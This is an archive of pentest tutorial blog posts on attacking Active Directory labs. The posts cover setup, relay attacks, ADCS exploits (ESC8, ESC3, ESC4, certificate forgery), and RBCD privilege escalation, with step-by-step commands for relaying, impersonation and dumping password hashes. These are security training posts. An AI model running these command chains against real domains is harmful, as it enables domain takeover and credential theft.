Tag: Active Directory

AD Series: Resource Based Constrained Delegation (RBCD)
In a Windows domain, devices have an msDS-AllowedToActOnBehalfOfOtherIdentitity attribute. Per Microsoft, “this attribute is used for access checks to determine if a requestor has permission to act on the behalf of other identities to services running as this account.” In this blog, we will exploit this feature to gain administrative access to a target system in a Resource Based Constrained Delegation (RBCD) attack.

We’ll be using the Active Directory testing environment we setup in the first post in this series.

Tools We’ll Be Using
- NoPAC Scanner
- Impacket Tools (installed on Kali):
  - addcomputer.py
  - rbcd.py
  - getST.py
  - secretsdump.py
  - psexec.py
- Certipy
The Basics of the RBCD Exploit

First we need to have control of an account with an SPN (Service Principal Name). The easiest way to do this for our test is to create a machine account. By default any non-admin user can create up to 10 machine accounts, but this value is set by the MachineAccountQuota. You can query this info by using NoPAC scanner.
```
python3 scanner.py Domain/User -dc-ip DC-IP
```
Seeing the MachineAccountQuota above 0 (again default is 10), any user can create a machine account. I used impacket’s addcomputer.py script.
```
addcomputer.py ‘domain/user:Password’ -dc-ip DC-IP
```
For initial testing I gave the special.user user the write privilege over the lab1 machine.

The write privilege is all that is needed to modify the msDS-AllowedToActOnBehalfOfOtherIdentitity attribute.

After giving the write privilege to the account, I used rbcd.py script from impacket to modify the attribute and add the created computer account.
```
rbcd.py -delegate-from ‘Controlled Account’ -delegate-to ‘target’ -dc-ip DC-IP -action write ‘Domain/User:Password’
```
After configuring the attribute, I used impacket’s getST.py script to get a Kerberos ticket where we impersonate the administrator user on that device. In this case make sure to use the created machine account to login.
```
getST.py -spn ‘cifs/target’ -impersonate Target-Account -dc-ip DC-IP ‘Domain/User:Password’
```
In order to use the ticket, first I exported an environment variable that points to the created ticked.
```
export KRB5CCNAME={Ticket}
```
Now that I have the ticket, I can use it with a bunch of tools. I used secretsdump as an example.
```
secretsdump.py administrator@Target -k -dc-ip DC-IP -target-ip Target-IP
```
Note: When using the tickets, make sure the target isn’t an IP address but rather the domain name (i.e. lab1.ad.lab). You can use the target-ip flag to point to the right computer if names don’t resolve. I don’t want to admit how long it took me to figure that out.

Playing around with RBCD

Certipy has the ability to access an LDAP shell with a PFX certificate. Say there is web enrollment enabled. As we discussed in the past, you can force the server to authenticate to you then relay it to web enrollment.
```
certipy relay -ca CA-IP
```
After a successful relay you can use the saved certificate to access the LDAP shell.
```
certipy auth -pfx Saved-Cert -ldap-shell -dc-ip DC-IP
```
Once in the LDAP shell you can set up the RBCD attack with the set_rbcd command where the first argument is the target device and the second is the controlled account.
```
set_rbcd Target Controlled-Account
```
After setting up the RBCD, it’s the same as before using getST to get the ticket and run with it.
```
impacket-getST -spn cifs/target -impersonate Target-Account -dc-ip DC-IP ‘Domain/User:Password’
```
```
impacket-psexec 'Domain/administrator@Target' -k -no-pass -dc-ip DC-IP -target-ip Target-IP
```
Next I wanted to try the same thing but against the domain controller. So I setup certipy to get a domain controller certificate, as we’ve previously discussed.

As a note, because it’s a domain controller, the template has to be specified as DomainController, but you can still use it to access an LDAP shell.
```
certipy relay -ca CA-IP -template DomainController
```
Then, as before, I accessed the LDAP shell and set up the RBCD attack.
```
certipy auth -pfx Saved-Cert -ldap-shell -dc-ip DC-IP
```
```
set_rbcd Target Controlled-Account
```
Then it’s just the same thing as the other tests.
```
impacket-getST -spn cifs/target -impersonate Target-Account -dc-ip DC-IP ‘Domain/User:Password’
```
```
impacket-psexec 'Domain/administrator@Target' -dc-ip DC-IP -target-ip Target-IP -k -no-pass
```
Protecting Against RBCD

I made a new user, protected.user, to show how to add protections within Active Directory to prevent these attacks. Here I successfully exploit RBCD before adding protections.

As expected, it worked.

Now I checked the box that prevents the account from being delegated.

And then I tried again.

This time the attack didn’t work, which is what we were looking for.

Microsoft also has a group called Protected Users which should (based on my understanding) enable protections against this and other attacks. While I’ve been blocked before by that group while performing penetration tests, for some reason, in my lab, adding a user to that group did not actually prevent the attack. I’m not sure why, but it didn’t, hence the method I discovered above to be sure the account is protected.

A Final Note

The end result for RBCD really is just getting administrative access to a machine. It’s a privilege escalation exploit, and it only works on the machine you’re targeting, not across the domain. If you’re on a DC then great. But it’s still a great way for someone to get admin access to a machine in order to try lateral movement or to access info on that machine during a penetration test.

Want to learn more? Take a look at the first in this Active Directory Series.
March 12, 2024
AD Series: Active Directory Certificate Services (ADCS) Exploits Using NTLMRelayx.py
I recently updated the last installment in my AD series – Active Directory Certificate Services (ADCS) Misconfiguration Exploits – with a few new tricks I discovered recently on an engagement. I mentioned that I have seen web enrollment where it does not listen on port 80 (HTTP), which is the default for certipy. I ran into some weird issues with certipy when testing on port 443, and I found that NTLMRelayx.py worked better in that case. As promised, here is a short blog explaining what I did.

This is basically the same thing as using certipy – just a different set of commands. So here we will go through an example and see how it works.

First we setup the relay.
```
impacket-ntlmrelayx -t {Target} --adcs --template {Template Name} -smb2support
```
The first part of the command points to the target. Make sure to include the endpoint (/certsrv/certfnsh.asp) as NTLMRelay won’t know that on its own. Also make sure to tell NTLMRelay if the host is HTTP or HTTPS.

The adcs flag tells NTLMRelay that we are attacking ADCS, and the template flag is used to specify the template. This is needed if you are relaying a domain controller or want to target a specific template. However, if you are planning on just relaying machines or users, you can actually leave this part out.

As connections come in, NTLMRelay will figure out on its own whether it’s a user or machine account and request the proper certificate. It does this based on whether the incoming username ends in a dollar sign. If it ends in a dollar sign NTLMRelay requests a machine certificate, if not it requests a user certificate.

Once NTLMRelay gets a successful relay, it will return a large Base64 blob of data. This is a Base64 encoded certificate.

You can take this Base64 blob and save it to a file. Then just decode the Base64 and save that as a PFX certificate file. After that the attack is the same as the certipy attack in my previous blog. Just use the certificate to login.

Want to learn more? Take a look at the next part of our Active Directory Series.
January 23, 2024
AD Series: Active Directory Certificate Services (ADCS) Misconfiguration Exploits
_{Note: This blog was last updated 1/23/2024. Updates are noted by date below.}

Active Directory Certificate Services (ADCS) is a server role that allows a corporation to build a public key infrastructure. This allows the organization to provide public key cryptography, digital certificates and digital signatures capabilities to the internal domain.

While using ADCS can provide a company with valuable capabilities on their network, a misconfigured ADCS server could allow an attacker to gain additional unauthorized access to the domain. This blog outlines exploitation techniques for vulnerable ADCS misconfigurations that we see in the field.

Tools We’ll Be Using
- Certipy: A great tool for exploiting several ADCS misconfigurations.
- PetitPotam: A tool that coerces Windows hosts to authenticate to other machines.
- Secretsdump (a python script included in Impacket): A tool that dumps SAM and LSA secrets using methods such as pass-the-hash. It can also be used to dump the all the password hashes for the domain from the domain controller.
- CrackMapExec: A multi-fasceted tool that, among other things, can dump user credentials while spraying credentials across the network to access more systems.
- A test Active Directory environment like the one we provisioned in the first blog in this series.
Exploit 1: ADCS Web Enrollment

If an ADCS certificate authority has web enrollment enabled, an attacker can perform a relay attack against the Certificate Authority, possibly escalating privileges within the domain. We can use Certipy to find ADCS Certificate Authority servers by using the tool’s find command. Note that the attacker would need access to the domain, but the credentials of a simple authenticated user is all that is needed to perform the attack.
```
certipy find -dc-ip {DC IP Address} -u {User} -p {Password}
```
First, while setting up ADCS in my test environment, I setup a Certificate Authority to use for this testing.

Certipy’s find command also has a vulnerable flag that will only show misconfigurations within ADCS.
```
certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
```
The text file output lists misconfigurations found by Certipy. While setting up my lab environment I checked the box for web enrollment. Here we see that the default configuration is vulnerable to the ESC8 attack:

To exploit this vulnerability, we can use Certipy to relay incoming connections to the CA server. Upon a successful relay we will gain access to a certificate for the relayed machine or the user account. But what really makes this a powerful attack is that we can relay the domain controller machine account, effectively giving us complete access to the domain. Using PetitPotam we can continue the attack and easily force the domain controller to authenticate to us.

The first step is to setup Certipy to relay the incoming connections to the vulnerable certificate authority. Since we are planning on relaying a domain controller’s connection, we need to specify the domain controller template.
```
certipy relay -ca {Certificate Authority IP Address} -template DomainController
```
Update 1/11/2024: While on an engagement I found that the organization had changed the default certificate templates. They had switched out the DomainController template with another one. So while I could successfully force a Domain Controller to authenticate, I would receive an error when trying to get a DomainController certificate. After a longer time than I care to admit, I used certipy to check the enabled templates and found that DomainController was not one of them. All I had to do was change the template name to match their custom template name. TL;DR: Check the templates if there is an error getting a DomainController certificate.

Now that Certipy is setup to relay connections, we use PetitPotam to coerce the domain controller into authenticating against our server.
```
python3 PetitPotam.py -u {Username} -p {Password} {Listener IP Address} {Target IP Address}
```
After Certipy receives the connection it will relay the connection and get a certificate for the domain controller machine account.

We can then use Certipy to authenticate with the certificate, which gives access to the domain controller’s machine account hash.
```
certipy auth -username {Username} -domain {Domain} -dc-ip {DC IP Adress} -pfx {Certificate}
```
We can then use this hash with Secretsdump from the impacket library to dump all the user hashes. We can also use the hash with other tools such as CrackMapExec (CME) and smbclient. Basically anything that allows us to login with a username and hash would work. Here we use Secretsdump.
```
impacket-secretsdump {Domain/Username@IP Address} -hashes {Hash}
```
At this point we have complete access to the windows domain.

Update 1/23/2024: I have seen web enrollment where it does not listen on port 80 over HTTP, which is the default for certipy. I tried to use certipy on an engagement where web enrollment was listening only over HTTPS, and I ran into some weird issues. I found that NTLMRelay seems to work better in that situation, so I’ve written a new post detailing that attack.

Exploit 2: ESC3

In order to test additional misconfigurations that Certipy will identify and exploit, I started adding new certificate templates to the domain. While configuring the new template, I checked the option for Supply in the request, which popped up a warning box about possible issues.

Given that I want to exploit possible misconfigurations, I was happy to see it.

Note: If you are testing in your own environment, once you create the template you will need to configure the CA to actually serve it.

After creating and configuring the new certificate template, we use Certipy to enumerate vulnerable templates using the same command we used to start the previous attack. Certipy identified that the new template was vulnerable to ESC3 issue.
```
certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
```
Exploiting this issue can allow an attacker to escalate privileges from those of a normal domain user to a domain administrator. The first step to gaining domain administrator privileges is to request a new certificate based on the vulnerable template. We will need access to the domain as a standard user.
```
certipy req -dc-ip {DC IP Address} -u {Username} -p {Password} -target-ip {CA IP Address} -ca {CA Server Name} -template {Vulnerable Template Name}
```
After acquiring the new certificate, we can use Certipy to request another certificate, this time a User certificate, for the administrator account.
```
certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA IP Address} -template User -on-behalf-of {Domain\Username} -pfx {Saved Certificate}
```
With the certificate for the administrator user, we use certipy to authenticate with the domain, giving us access to the administrator’s password hash.
```
certipy auth -pfx {Saved Administrator Certificate} -dc-ip {DC IP Address}
```
At this point we have access to the domain as the domain’s Administrator account. Using the tools we’ve previously learned about like CME, we can take complete control of the domain.
```
crackmapexec smb {Target IP Address} -u {Username} -H {Password Hash}
```
From this point, we can use the Secretsdump utility to gather user password hashes from the domain, as previously illustrated.

Exploit 3: ESC4

Another vulnerable misconfiguration that can occur is if users have too much control over the certificate templates. First we configure a certificate on my test network that gives users complete control over the templates.

Now we use Certipy to show the vulnerable templates using the same command as we used in the prior exploits.
```
certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
```
We can use Certipy to modify the certificate to make it vulnerable to ESC1, which allows a user to supply an arbitrary Subject Alternative Name.

The first step is to modify the vulnerable template to make it vulnerable to another misconfiguration.
```
certipy template -u {Username} -p {Password} -template {Vulnerable Template Name} -save-old target-ip {CA Server IP Address}
```
Note that we can use the save-old flag to save the old configuration. This allows us to restore the template after the exploit.

After modifying the template, we can request a new certificate specifying that it is for the administrator account. When specifying the new account use the account@domain format.
```
certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA Server IP Address} -template {Template Name} -upn {Target Username@Domain} -dc-ip {DC IP Address}
```
Before we get too far, it’s a good idea to restore the certificate template.
```
certipy template -u {Username} -p {Password} -template {Template Name} -configuration {Saved Template Setting File} -dc-ip {DC IP Address}
```
After that we can authenticate with the certificate, again gaining access to the administrator’s hash.
```
certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
```
Exploit 4: Admin Control over CA Server

Another route to domain privilege escalation is if we have administrator access over the CA server. In the example lab I am just using a domain administrator account, but in a real engagement this access can be gained any number of ways.

If we have administrator access over the CA server, we can use the certificate to back everything up including the private keys and certificates.
```
certipy ca -backup -ca {CA Server Name} -u {Username} -p {Password} -dc-ip {DC IP Address}
```
After backing up the CA server up we can use Certipy to forge a new certificate for the administrator account. In a real engagement the domain information would have to be changed.
```
certipy forge -ca-pfx {Name of Backup Certificate} -upn {Username@Domain} -subject 'CN=Administrator,CN=Users,DC={Domain Name},DC={Domain Top Level}'
```
After forging the certificate, we can use it to authenticate, again giving us access to the user’s NTLM password hash.
```
certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
```
Helpful References
- Microsoft’s Active Directory Certificate Services Overview
- HackTricks’ AD CS Domain Escalation Guide
Want to learn more? Take a look at the next part in our Active Directory Series.
August 10, 2023
AD Series: How to Perform Broadcast Attacks Using NTLMRelayx, MiTM6 and Responder
Now that we setup an AD test environment in my last post, we’re ready to try out broadcast attacks on our vulnerable test network.

In this post we will learn how to use tools freely available for use on Kali Linux to:
- Discover password hashes on the network
- Pivot to other machines on the network using discovered credentials and hashes
- Relay connections to other machines to gain access
- View internal file shares
For the attacker machine in my lab, I am using Kali Linux. This can be deployed as a virtual machine on the Proxmox server that we setup in my previous post or can be a separate machine as long as the Active Directory network is reachable.

Most tools we will use are preinstalled on Kali:
- MiTM6: Download from GitHub
- Responder: Installed on Kali
- CrackMapExec: Installed on Kali
- Ntmlrelayx: Installed on Kali (run using impacket-ntlmrelayx)
- Proxychains: Installed on Kali
Setting up the Attack

Within Kali, first we’ll start MiTM6:
```
sudo mitm6 -i {Network Interface}
sudo mitm6 -i eth1
```
MiTM6 will pretend to be a DNS server for a IPv6 network. By default Windows prefers IPv6 over IPv4 networks. Most places don’t utilize the IPv6 network space but don’t have it disabled in their Windows domains. Therefore, by advertising as a IPv6 router and setting the default DNS server to be the attacker, MiTM6 can spoof DNS entries allowing for man in the middle attacks. A note from their GitHub even mentions that it is designed to run with tools like ntlmrelayx and responder.

Next we start Responder:
```
sudo responder -I {Network Interface}
sudo responder -I eth1
```
Responder will listen for broadcast name resolution requests and will respond to them on its own. It also has multiple servers that will listen for network connections and attempt to get user computers to authenticate with them, providing the attacker with their password hash. There is more to the tool than what is covered in this tutorial, so check it out!

With MiTM6 and Responder running, next we start CrackMapExec (CME):
```
crackmapexec smb {Network} –gen-relay-list {OutFile}
```
CME is a useful tool for testing windows computers on the domain. There are many functions within CME that we won’t be discussing in this post, so I definitely recommend taking a deeper look! In this post we are using CME to enumerate SMB servers and whether SMB message signing is required and also to connect to and perform post exploitation activities.

First we will use CME to find all of the SMB servers on the AD network (10.80.0.0/24) and additionally to find those servers which do not require message signing. It saves those which don’t to the file name relay.lst.

Now we’re ready to start ntlmrelayx to relay credentials:
```
impacket-ntlmrelayx -tf {File Containing Target SMB servers} -smb2support
impacket-ntlmrelayx -tf relay.lst -smb2support
```
Ntlmrelayx is a tool that listens for incoming connections (mostly SMB and HTTP) and will, when one is received, relay (think forwarding) the connection/authentication to another SMB server. These other SMB servers are those that were found earlier by CME with the –gen-relay-list flag, so we know they don’t require message signing. Note that the smb2support flag just tells ntlmrelayx to setup a SMBv2 server.

Almost immediately we start getting traffic over HTTP:

Running the Attack

So far the responder, mitm6 and ntlmrelayx screens just show the initial starting of the program. Not much is actually happening in any of them. The CME screen is just showing the usage to gather SMB servers that don’t require message signing.

To help things along with our demo, we can force one of the computers on the network to attempt to access a share that doesn’t exist.

While a user looking for a share that doesn’t exist is not needed for this attack, it’s a quick way to skip waiting for an action to occur automatically. Many times on corporate networks, machines will mount shares automatically or users will need a share at some point allowing an attacker to poison the request them. If responder is the first to answer, our attack works, but, if not, the attack doesn’t work in that instance.

Responder captures and poisons the response so that the computer connects to ntlmrelayx, which is still running in the background.

Below we see where responder hears the search for “newshare” and responds with a fake/poisoned response saying that the attacker’s machine is in fact the host for “newshare.” This causes the victim machine to connect to ntlmrelayx which then relays the connection to another computer that doesn’t require message signing. We don’t need to see or crack a user password hash since we are just acting as a man in the middle (hence MiTM) and relaying the authentication from an actual user to another machine.

In this case the user on the Windows machine who searched for “newshare” turns out to be an administrator over some other machines, particularly the machine that ntlmrelayx relayed their credentials to. This means that ntlmrelayx now has administrator access to that machine.

The default action when ntlmrelayx has admin rights is to dump the SAM database. The SAM database holds the username and password hashes (NTLM) for local accounts to that computer. Due to how Windows authentication works, having the NTLM hash grants access as if we had the password. This means we can login to this computer at any time as the local administrator WITHOUT cracking the hash. While NTLM hashes are easy to crack, this speeds up our attack.

If other computers on the network share the same local accounts, we can then login to those computers as the admin as well. We could also use CME to spray the local admin password hash to check for credential reuse. Keep in mind that the rights and access we get to a server all depends on the rights of the user we are pretending to be. In pentests, we often do not start with an admin user and need to find ways to pivot from our initial user to other users with more access until we gain admin access.

The following screenshot shows ntlmrelayx dumping all of the local SAM password hashes on one device on our test network:

While getting the local account password hashes and and gaining access to new machines is a great attack, ntlmrelayx has more flags and modes that allow for other attacks and access. Let’s continue to explore these.

Playing around with –interactive

Ntlmrelayx has a mode that will create new TCP sockets that will allow for an attacker to interact with the created SMB connections after a successful relay. The flag is –interactive.

When the relay is successful a new TCP port is opened. We can connect to it with Netcat:

We can now interact with the host and the shares that are accessible to the user who is relayed.
```
nc 127.0.0.1 11000
nc 127.0.0.1 11001
```
Playing around with -SOCKS

With a successful relay ntlmrelayx can create a proxy that we can use with other tools to authenticate to other servers on the network. To use this proxy option ntlmrelayx has the -socks flag.

Here we use ntlmrelayx with the -socks flag to use the proxy option:

Below we see another user has an SMB connection relayed to an SMB server. With the proxy option ntlmrelayx sets up a proxy listener locally. When a new session is created (i.e. a user’s request is relayed successfully) it is added to the running sessions. Then, by directing other tools to the proxy server from ntlmrelayx, we can use these tools interact with these sessions.

In order to use this feature we need to set up our proxychains instance to use the proxy server setup by ntlmrelayx.

The following screen shows the proxychains configuration file at /etc/proxychains4.conf. Here we can see that, when we use the proxychains program, it is going to look for a socks4 proxy at localhost on port 1080. Proxychains is another powerful tool that can do much more than this. I recommend taking a deeper look.

Once we have proxychains set up, we can use any program that logs in over SMB. All we need is a user that has an active session. We can view active sessions that we can use to relay by issuing the socks command on ntlmrelayx:

In this example I have backup.admin session for each of the other 2 computers. Let’s use secretsdump from impacket’s library to gather hashes from the computer.

When the program asks for a password we can supply any text at all, as ntlmrelayx will handle the authentication for us and dump the hashes.

Since I am using a private test lab, the password for backup.admin is “Password2.” Here is an example of logging in with smbclient using the correct password:

Using proxychains to proxy the request through ntlmrelayx, we can submit the wrong password and still login successfully to see the same information:

Next Steps

All of the tools we discussed are very powerful, and this is just a sampling of what they can be used for. At Raxis we use these tools on most internal network tests. If you’re interested in a pentesting career, I highly recommend that you take a deeper look at them after performing the examples in this tutorial.

I hope you’ll join me next time when I discuss Active Directory Certificate Services and how to exploit them in our test AD environment.

Want to learn more? Take a look at the next part in our Active Directory Series.
June 19, 2023
How to Create an AD Test Environment

Lead Pentester Andrew Trexler walks us through creating a simple AD environment.

Whether you use the environment to test new hacks before trying them on a pentest, or you use it while learning to pentest and study for the OSCP exam, it is a useful tool to have in your arsenal.

The Basics

Today we’ll go through the steps to set up a Windows Active Directory test environment using Proxmox to virtualize the computers. In the end, we’ll have a total of three connected systems, one Domain Controller and two other computers joined to the domain.

Setting up the Domain Controller (DC)

The first step is to setup a new virtualized network that will contain the Windows Active Directory environment. Select your virtualization server on the left:

This is a Windows based environment, but we’re using a Linux hypervisor to handle the underlying network architecture, so under System, select Network, and then create a Linux Bridge, as shown in Figures 2 and 3:

After setting up the network, we provision a new virtual machine where we will install Windows 2019 Server. Figure 4 shows the final configuration of the provisioned machine:

The next step is to install Windows 2019 Server. While installing the operating system make sure to install the Desktop Experience version of the operating system. This will make sure a GUI is installed, making it easier to configure the system.

Now that we have a fresh install, the next step is to configure the domain controller with a static IP address. This will allow the server to function as the DHCP server. Also make sure to set the same IP as the DNS server since the system will be configured later as the domain’s DNS server.

In order to make things easier to follow and understand later, let’s rename the computer to DC1 since it will be acting as our domain controller on the Active Directory domain.

Next, configure the system as a domain controller by using the Add Roles and Features Wizard to add the Active Directory Domain Services and DNS Server roles. This configuration will allow the server to fulfill the roles of a domain controller and DNS server.

After the roles are installed, we can configure the server and provision the new Active Directory environment. In this lab we will use the domain ad.lab. Other than creating a new forest and setting the name, the default options will be fine.

Setting Up the DHCP Service

The next step is to configure the DHCP service. Here we are using a portion of the 10.80.0.0/24 network space, leaving enough addresses available to accommodate static IP addressing where necessary.

There is no need for any exclusions on the network, and we will set the lease to be valid for an entire year.

Adding a Domain Administrator and Users

Additional configuration is now required within the domain. Let’s add a new domain administrator and some new domain users. Their names and passwords can be anything you want, just make sure to remember them.

First we create the Domain Administrator (DA):

Here we also make this user an Enterprise Admin (EA) by adding them to the Enterprise Admins group:

Next we will add a normal user to the domain:

Creating Windows PC

At this point we should have a functional Active Directory domain with active DHCP and DNS services. Next, we will setup and configure two other Windows 10 machines and join them to the domain.

The first step is to provision the resources on the Proxmox server. Since our test environment requires only moderate resources, we will only provision the machines with two processor cores and two gigabytes of RAM.

Then we install Windows 10 using the default settings. Once Windows is installed, we can open the Settings page and join the system to the ad.lab domain, changing the computer name to something easy to remember if called for.

Adding the system to the domain will require us to enter a domain admin’s password. After a reboot we should be able to login with a domain user’s account.

SMB Share

At this point, there should be three computers joined to the Active Directory domain. Using CrackMapExec, we can see the SMB server running on the domain controller but no other systems are visible via SMB. So let’s add a new network share. Open Explorer.exe, select Advance Sharing, and share the C drive.

I don’t recommend sharing the entire drive in an environment not used for testing, as it’s not secure: the entire contents of the machine would be visible. Since this is a pentest lab environment, though, this is exactly what we are looking for.

Creating the share resulted in the system exposing the SMB service to the network. In Figure 20 we verified this by using CrackMapExec to enumerate the two SMB servers:

Conclusion

At this point, our environment should be provisioned, and we are ready to test out different AD test cases, attacks, and other shenanigans. This environment is a great tool for ethically learning different exploits and refining pentesting techniques. Using a virtual infrastructure such as this also provides rollback capability for running multiple test cases with minimal downtime.

I hope you’ll come back to see my next posts in this series, which will show how to use this environment to test common exploits that we find during penetration testing.

Want to learn more? Take a look at the next part in our Active Directory Series.

April 27, 2023